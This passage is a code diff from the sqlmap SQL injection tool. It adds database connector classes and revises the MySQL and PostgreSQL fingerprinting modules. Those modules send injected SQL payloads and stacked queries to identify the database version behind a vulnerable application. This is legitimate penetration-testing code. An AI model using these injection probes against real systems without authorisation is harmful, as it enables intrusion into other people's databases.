||||||
|
if conf.direct:
|
||||||
|
return
|
||||||
|
|
||||||
if kb.stackedTest is not None:
|
if kb.stackedTest is not None:
|
||||||
return kb.stackedTest
|
return kb.stackedTest
|
||||||
|
|
||||||
|
|
35
plugins/dbms/access/connector.py
Normal file
35
plugins/dbms/access/connector.py
Normal file
|
@ -0,0 +1,35 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
from plugins.generic.connector import Connector as GenericConnector
|
||||||
|
|
||||||
|
class Connector(GenericConnector):
|
||||||
|
"""
|
||||||
|
Homepage:
|
||||||
|
User guide:
|
||||||
|
API:
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
GenericConnector.__init__(self)
|
35
plugins/dbms/firebird/connector.py
Normal file
35
plugins/dbms/firebird/connector.py
Normal file
|
@ -0,0 +1,35 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
from plugins.generic.connector import Connector as GenericConnector
|
||||||
|
|
||||||
|
class Connector(GenericConnector):
|
||||||
|
"""
|
||||||
|
Homepage:
|
||||||
|
User guide:
|
||||||
|
API:
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
GenericConnector.__init__(self)
|
47
plugins/dbms/mssqlserver/connector.py
Normal file
47
plugins/dbms/mssqlserver/connector.py
Normal file
|
@ -0,0 +1,47 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
try:
|
||||||
|
import pymssql
|
||||||
|
except ImportError, _:
|
||||||
|
pass
|
||||||
|
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.exception import sqlmapConnectionException
|
||||||
|
|
||||||
|
from plugins.generic.connector import Connector as GenericConnector
|
||||||
|
|
||||||
|
class Connector(GenericConnector):
|
||||||
|
"""
|
||||||
|
Homepage: http://pymssql.sourceforge.net/
|
||||||
|
User guide: http://pymssql.sourceforge.net/examples_pymssql.php
|
||||||
|
API: http://pymssql.sourceforge.net/ref_pymssql.php
|
||||||
|
Debian package: python-pymssql
|
||||||
|
License: LGPL
|
||||||
|
|
||||||
|
Possible connectors: http://wiki.python.org/moin/SQL%20Server
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
GenericConnector.__init__(self)
|
89
plugins/dbms/mysql/connector.py
Normal file
89
plugins/dbms/mysql/connector.py
Normal file
|
@ -0,0 +1,89 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
try:
|
||||||
|
import MySQLdb
|
||||||
|
except ImportError, _:
|
||||||
|
pass
|
||||||
|
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.exception import sqlmapConnectionException
|
||||||
|
|
||||||
|
from plugins.generic.connector import Connector as GenericConnector
|
||||||
|
|
||||||
|
class Connector(GenericConnector):
|
||||||
|
"""
|
||||||
|
Homepage: http://mysql-python.sourceforge.net/
|
||||||
|
User guide: http://mysql-python.sourceforge.net/MySQLdb.html
|
||||||
|
API: http://mysql-python.sourceforge.net/MySQLdb-1.2.2/
|
||||||
|
Debian package: python-mysqldb
|
||||||
|
License: GPL
|
||||||
|
|
||||||
|
Possible connectors: http://wiki.python.org/moin/MySQL
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
GenericConnector.__init__(self)
|
||||||
|
|
||||||
|
def connect(self):
|
||||||
|
self.initConnection()
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.connector = MySQLdb.connect(host=self.hostname, user=self.user, passwd=self.password, db=self.db, port=self.port, connect_timeout=conf.timeout)
|
||||||
|
except MySQLdb.OperationalError, msg:
|
||||||
|
raise sqlmapConnectionException, msg[1]
|
||||||
|
|
||||||
|
self.setCursor()
|
||||||
|
self.connected()
|
||||||
|
|
||||||
|
def fetchall(self):
|
||||||
|
try:
|
||||||
|
return self.cursor.fetchall()
|
||||||
|
except MySQLdb.ProgrammingError, msg:
|
||||||
|
logger.log(8, msg[1])
|
||||||
|
return None
|
||||||
|
|
||||||
|
def execute(self, query):
|
||||||
|
logger.debug(query)
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.cursor.execute(query)
|
||||||
|
except (MySQLdb.OperationalError, MySQLdb.ProgrammingError), msg:
|
||||||
|
logger.log(8, msg[1])
|
||||||
|
except MySQLdb.InternalError, msg:
|
||||||
|
raise sqlmapConnectionException, msg[1]
|
||||||
|
|
||||||
|
self.connector.commit()
|
||||||
|
|
||||||
|
def select(self, query):
|
||||||
|
self.execute(query)
|
||||||
|
return self.fetchall()
|
||||||
|
|
||||||
|
def setCursor(self):
|
||||||
|
self.cursor = self.connector.cursor()
|
||||||
|
|
||||||
|
def close(self):
|
||||||
|
self.cursor.close()
|
||||||
|
self.connector.close()
|
|
@ -154,6 +154,12 @@ class Fingerprint(GenericFingerprint):
|
||||||
* http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)
|
* http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
infoMsg = "testing MySQL"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
if conf.direct:
|
||||||
|
conf.dbmsConnector.connect()
|
||||||
|
|
||||||
if conf.dbms in MYSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
|
if conf.dbms in MYSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
|
||||||
setDbms("MySQL %s" % kb.dbmsVersion[0])
|
setDbms("MySQL %s" % kb.dbmsVersion[0])
|
||||||
|
|
||||||
|
@ -165,11 +171,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
if not conf.extensiveFp:
|
if not conf.extensiveFp:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
infoMsg = "testing MySQL"
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
randInt = str(randomInt(1))
|
randInt = str(randomInt(1))
|
||||||
|
|
||||||
payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()")
|
payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()")
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
|
@ -203,7 +205,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
kb.dbmsVersion = [">= 5.5.0"]
|
kb.dbmsVersion = [">= 5.5.0"]
|
||||||
|
|
||||||
# Check if it is MySQL >= 5.1.2 and < 5.5.0
|
# Check if it is MySQL >= 5.1.2 and < 5.5.0
|
||||||
elif inject.getValue("MID(@@table_open_cache, 1, 1)", unpack=False):
|
elif inject.getValue("SELECT MID(@@table_open_cache, 1, 1)", unpack=False):
|
||||||
if inject.getValue("SELECT %s FROM information_schema.GLOBAL_STATUS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
|
if inject.getValue("SELECT %s FROM information_schema.GLOBAL_STATUS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
|
||||||
kb.dbmsVersion = [">= 5.1.12", "< 5.5.0"]
|
kb.dbmsVersion = [">= 5.1.12", "< 5.5.0"]
|
||||||
elif inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
|
elif inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
|
||||||
|
@ -216,11 +218,11 @@ class Fingerprint(GenericFingerprint):
|
||||||
kb.dbmsVersion = [">= 5.1.2", "< 5.1.5"]
|
kb.dbmsVersion = [">= 5.1.2", "< 5.1.5"]
|
||||||
|
|
||||||
# Check if it is MySQL >= 5.0.0 and < 5.1.2
|
# Check if it is MySQL >= 5.0.0 and < 5.1.2
|
||||||
elif inject.getValue("MID(@@hostname, 1, 1)", unpack=False):
|
elif inject.getValue("SELECT MID(@@hostname, 1, 1)", unpack=False):
|
||||||
kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
|
kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
|
||||||
elif inject.getValue("SELECT 1 FROM DUAL", charsetType=1) == "1":
|
elif inject.getValue("SELECT 1 FROM DUAL", charsetType=1) == "1":
|
||||||
kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"]
|
kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"]
|
||||||
elif inject.getValue("DATABASE() LIKE SCHEMA()"):
|
elif inject.getValue("SELECT DATABASE() LIKE SCHEMA()"):
|
||||||
kb.dbmsVersion = [">= 5.0.2", "< 5.0.11"]
|
kb.dbmsVersion = [">= 5.0.2", "< 5.0.11"]
|
||||||
else:
|
else:
|
||||||
kb.dbmsVersion = [">= 5.0.0", "<= 5.0.1"]
|
kb.dbmsVersion = [">= 5.0.0", "<= 5.0.1"]
|
||||||
|
@ -237,24 +239,24 @@ class Fingerprint(GenericFingerprint):
|
||||||
return True
|
return True
|
||||||
|
|
||||||
# Check which version of MySQL < 5.0.0 it is
|
# Check which version of MySQL < 5.0.0 it is
|
||||||
coercibility = inject.getValue("COERCIBILITY(USER())")
|
coercibility = inject.getValue("SELECT COERCIBILITY(USER())")
|
||||||
|
|
||||||
if coercibility == "3":
|
if coercibility == "3":
|
||||||
kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"]
|
kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"]
|
||||||
elif coercibility == "2":
|
elif coercibility == "2":
|
||||||
kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"]
|
kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"]
|
||||||
elif inject.getValue("CURRENT_USER()"):
|
elif inject.getValue("SELECT CURRENT_USER()"):
|
||||||
kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"]
|
kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"]
|
||||||
|
|
||||||
if inject.getValue("CHARSET(CURRENT_USER())") == "utf8":
|
if inject.getValue("SELECT CHARSET(CURRENT_USER())") == "utf8":
|
||||||
kb.dbmsVersion = ["= 4.1.0"]
|
kb.dbmsVersion = ["= 4.1.0"]
|
||||||
else:
|
else:
|
||||||
kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"]
|
kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"]
|
||||||
elif inject.getValue("FOUND_ROWS()", charsetType=1) == "0":
|
elif inject.getValue("SELECT FOUND_ROWS()", charsetType=1) == "0":
|
||||||
kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"]
|
kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"]
|
||||||
elif inject.getValue("CONNECTION_ID()"):
|
elif inject.getValue("SELECT CONNECTION_ID()"):
|
||||||
kb.dbmsVersion = [">= 3.23.14", "< 4.0.0"]
|
kb.dbmsVersion = [">= 3.23.14", "< 4.0.0"]
|
||||||
elif re.search("@[\w\.\-\_]+", inject.getValue("USER()")):
|
elif re.search("@[\w\.\-\_]+", inject.getValue("SELECT USER()")):
|
||||||
kb.dbmsVersion = [">= 3.22.11", "< 3.23.14"]
|
kb.dbmsVersion = [">= 3.22.11", "< 3.23.14"]
|
||||||
else:
|
else:
|
||||||
kb.dbmsVersion = ["< 3.22.11"]
|
kb.dbmsVersion = ["< 3.22.11"]
|
||||||
|
|
35
plugins/dbms/oracle/connector.py
Normal file
35
plugins/dbms/oracle/connector.py
Normal file
|
@ -0,0 +1,35 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
from plugins.generic.connector import Connector as GenericConnector
|
||||||
|
|
||||||
|
class Connector(GenericConnector):
|
||||||
|
"""
|
||||||
|
Homepage:
|
||||||
|
User guide:
|
||||||
|
API:
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
GenericConnector.__init__(self)
|
88
plugins/dbms/postgresql/connector.py
Normal file
88
plugins/dbms/postgresql/connector.py
Normal file
|
@ -0,0 +1,88 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
try:
|
||||||
|
import psycopg2
|
||||||
|
except ImportError, _:
|
||||||
|
pass
|
||||||
|
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.exception import sqlmapConnectionException
|
||||||
|
|
||||||
|
from plugins.generic.connector import Connector as GenericConnector
|
||||||
|
|
||||||
|
class Connector(GenericConnector):
|
||||||
|
"""
|
||||||
|
Homepage: http://initd.org/psycopg/
|
||||||
|
User guide: http://initd.org/psycopg/docs/
|
||||||
|
API: http://initd.org/psycopg/docs/genindex.html
|
||||||
|
Debian package: python-psycopg2
|
||||||
|
License: GPL
|
||||||
|
|
||||||
|
Possible connectors: http://wiki.python.org/moin/PostgreSQL
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
GenericConnector.__init__(self)
|
||||||
|
|
||||||
|
def connect(self):
|
||||||
|
self.initConnection()
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.connector = psycopg2.connect(host=self.hostname, user=self.user, password=self.password, database=self.db, port=self.port)
|
||||||
|
except psycopg2.OperationalError, msg:
|
||||||
|
raise sqlmapConnectionException, msg
|
||||||
|
|
||||||
|
self.setCursor()
|
||||||
|
self.connected()
|
||||||
|
|
||||||
|
def fetchall(self):
|
||||||
|
try:
|
||||||
|
return self.cursor.fetchall()
|
||||||
|
except psycopg2.ProgrammingError, msg:
|
||||||
|
logger.log(8, msg)
|
||||||
|
return None
|
||||||
|
|
||||||
|
def execute(self, query):
|
||||||
|
logger.debug(query)
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.cursor.execute(query)
|
||||||
|
except (psycopg2.OperationalError, psycopg2.ProgrammingError), msg:
|
||||||
|
logger.log(8, msg)
|
||||||
|
except psycopg2.InternalError, msg:
|
||||||
|
raise sqlmapConnectionException, msg
|
||||||
|
|
||||||
|
self.connector.commit()
|
||||||
|
|
||||||
|
def select(self, query):
|
||||||
|
self.execute(query)
|
||||||
|
return self.fetchall()
|
||||||
|
|
||||||
|
def setCursor(self):
|
||||||
|
self.cursor = self.connector.cursor()
|
||||||
|
|
||||||
|
def close(self):
|
||||||
|
self.cursor.close()
|
||||||
|
self.connector.close()
|
|
@ -125,4 +125,4 @@ class Filesystem(GenericFilesystem):
|
||||||
if confirm:
|
if confirm:
|
||||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
self.askCheckWrittenFile(wFile, dFile, fileType)
|
||||||
|
|
||||||
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
|
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
|
||||||
|
|
|
@ -86,6 +86,12 @@ class Fingerprint(GenericFingerprint):
|
||||||
* http://www.postgresql.org/docs/8.4/interactive/release.html (up to 8.4.2)
|
* http://www.postgresql.org/docs/8.4/interactive/release.html (up to 8.4.2)
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
infoMsg = "testing PostgreSQL"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
if conf.direct:
|
||||||
|
conf.dbmsConnector.connect()
|
||||||
|
|
||||||
if conf.dbms in PGSQL_ALIASES:
|
if conf.dbms in PGSQL_ALIASES:
|
||||||
setDbms("PostgreSQL")
|
setDbms("PostgreSQL")
|
||||||
|
|
||||||
|
@ -94,9 +100,6 @@ class Fingerprint(GenericFingerprint):
|
||||||
if not conf.extensiveFp:
|
if not conf.extensiveFp:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
infoMsg = "testing PostgreSQL"
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
randInt = str(randomInt(1))
|
randInt = str(randomInt(1))
|
||||||
|
|
||||||
payload = agent.fullPayload(" AND %s::int=%s" % (randInt, randInt))
|
payload = agent.fullPayload(" AND %s::int=%s" % (randInt, randInt))
|
||||||
|
@ -122,33 +125,33 @@ class Fingerprint(GenericFingerprint):
|
||||||
if not conf.extensiveFp:
|
if not conf.extensiveFp:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
if inject.getValue("DIV(6, 3)", unpack=False, charsetType=2) == "2":
|
if inject.getValue("SELECT DIV(6, 3)", unpack=False, charsetType=2) == "2":
|
||||||
kb.dbmsVersion = [">= 8.4.0"]
|
kb.dbmsVersion = [">= 8.4.0"]
|
||||||
elif inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)", unpack=False, charsetType=2) in ( "1", "2" ) and not inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False, charsetType=2) in ( "1", "2" ):
|
elif inject.getValue("SELECT SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)", unpack=False, charsetType=2) in ( "1", "2" ) and not inject.getValue("SELECT SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False, charsetType=2) in ( "1", "2" ):
|
||||||
kb.dbmsVersion = [">= 8.3.0", "< 8.4"]
|
kb.dbmsVersion = [">= 8.3.0", "< 8.4"]
|
||||||
elif inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False, charsetType=2):
|
elif inject.getValue("SELECT SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False, charsetType=2):
|
||||||
kb.dbmsVersion = [">= 8.2.0", "< 8.3.0"]
|
kb.dbmsVersion = [">= 8.2.0", "< 8.3.0"]
|
||||||
elif inject.getValue("GREATEST(5, 9, 1)", unpack=False, charsetType=2) == "9":
|
elif inject.getValue("SELECT GREATEST(5, 9, 1)", unpack=False, charsetType=2) == "9":
|
||||||
kb.dbmsVersion = [">= 8.1.0", "< 8.2.0"]
|
kb.dbmsVersion = [">= 8.1.0", "< 8.2.0"]
|
||||||
elif inject.getValue("WIDTH_BUCKET(5.35, 0.024, 10.06, 5)", unpack=False, charsetType=2) == "3":
|
elif inject.getValue("SELECT WIDTH_BUCKET(5.35, 0.024, 10.06, 5)", unpack=False, charsetType=2) == "3":
|
||||||
kb.dbmsVersion = [">= 8.0.0", "< 8.1.0"]
|
kb.dbmsVersion = [">= 8.0.0", "< 8.1.0"]
|
||||||
elif inject.getValue("SUBSTR(MD5('sqlmap'), 1, 1)", unpack=False):
|
elif inject.getValue("SELECT SUBSTR(MD5('sqlmap'), 1, 1)", unpack=False):
|
||||||
kb.dbmsVersion = [">= 7.4.0", "< 8.0.0"]
|
kb.dbmsVersion = [">= 7.4.0", "< 8.0.0"]
|
||||||
elif inject.getValue("SUBSTR(CURRENT_SCHEMA(), 1, 1)", unpack=False) == "p":
|
elif inject.getValue("SELECT SUBSTR(CURRENT_SCHEMA(), 1, 1)", unpack=False) == "p":
|
||||||
kb.dbmsVersion = [">= 7.3.0", "< 7.4.0"]
|
kb.dbmsVersion = [">= 7.3.0", "< 7.4.0"]
|
||||||
elif inject.getValue("BIT_LENGTH(1)") == "8":
|
elif inject.getValue("SELECT BIT_LENGTH(1)") == "8":
|
||||||
kb.dbmsVersion = [">= 7.2.0", "< 7.3.0"]
|
kb.dbmsVersion = [">= 7.2.0", "< 7.3.0"]
|
||||||
elif inject.getValue("SUBSTR(QUOTE_LITERAL('a'), 2, 1)", unpack=False) == "a":
|
elif inject.getValue("SELECT SUBSTR(QUOTE_LITERAL('a'), 2, 1)", unpack=False) == "a":
|
||||||
kb.dbmsVersion = [">= 7.1.0", "< 7.2.0"]
|
kb.dbmsVersion = [">= 7.1.0", "< 7.2.0"]
|
||||||
elif inject.getValue("POW(2, 3)", unpack=False, charsetType=2) == "8":
|
elif inject.getValue("SELECT POW(2, 3)", unpack=False, charsetType=2) == "8":
|
||||||
kb.dbmsVersion = [">= 7.0.0", "< 7.1.0"]
|
kb.dbmsVersion = [">= 7.0.0", "< 7.1.0"]
|
||||||
elif inject.getValue("MAX('a')") == "a":
|
elif inject.getValue("SELECT MAX('a')") == "a":
|
||||||
kb.dbmsVersion = [">= 6.5.0", "< 6.5.3"]
|
kb.dbmsVersion = [">= 6.5.0", "< 6.5.3"]
|
||||||
elif re.search("([\d\.]+)", inject.getValue("SUBSTR(VERSION(), 12, 5)", unpack=False)):
|
elif re.search("([\d\.]+)", inject.getValue("SELECT SUBSTR(VERSION(), 12, 5)", unpack=False)):
|
||||||
kb.dbmsVersion = [">= 6.4.0", "< 6.5.0"]
|
kb.dbmsVersion = [">= 6.4.0", "< 6.5.0"]
|
||||||
elif inject.getValue("SUBSTR(CURRENT_DATE, 1, 1)", unpack=False, charsetType=2) == "2":
|
elif inject.getValue("SELECT SUBSTR(CURRENT_DATE, 1, 1)", unpack=False, charsetType=2) == "2":
|
||||||
kb.dbmsVersion = [">= 6.3.0", "< 6.4.0"]
|
kb.dbmsVersion = [">= 6.3.0", "< 6.4.0"]
|
||||||
elif inject.getValue("SUBSTRING('sqlmap', 1, 1)", unpack=False) == "s":
|
elif inject.getValue("SELECT SUBSTRING('sqlmap', 1, 1)", unpack=False) == "s":
|
||||||
kb.dbmsVersion = [">= 6.2.0", "< 6.3.0"]
|
kb.dbmsVersion = [">= 6.2.0", "< 6.3.0"]
|
||||||
else:
|
else:
|
||||||
kb.dbmsVersion = ["< 6.2.0"]
|
kb.dbmsVersion = ["< 6.2.0"]
|
||||||
|
@ -167,7 +170,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
infoMsg = "fingerprinting the back-end DBMS operating system"
|
infoMsg = "fingerprinting the back-end DBMS operating system"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
self.createSupportTbl(self.fileTblName, self.tblField, "character(1000)")
|
self.createSupportTbl(self.fileTblName, self.tblField, "character(10000)")
|
||||||
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
|
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
|
||||||
|
|
||||||
# Windows executables should always have ' Visual C++' or ' mingw'
|
# Windows executables should always have ' Visual C++' or ' mingw'
|
||||||
|
|
35
plugins/dbms/sqlite/connector.py
Normal file
35
plugins/dbms/sqlite/connector.py
Normal file
|
@ -0,0 +1,35 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
from plugins.generic.connector import Connector as GenericConnector
|
||||||
|
|
||||||
|
class Connector(GenericConnector):
|
||||||
|
"""
|
||||||
|
Homepage:
|
||||||
|
User guide:
|
||||||
|
API:
|
||||||
|
"""
|
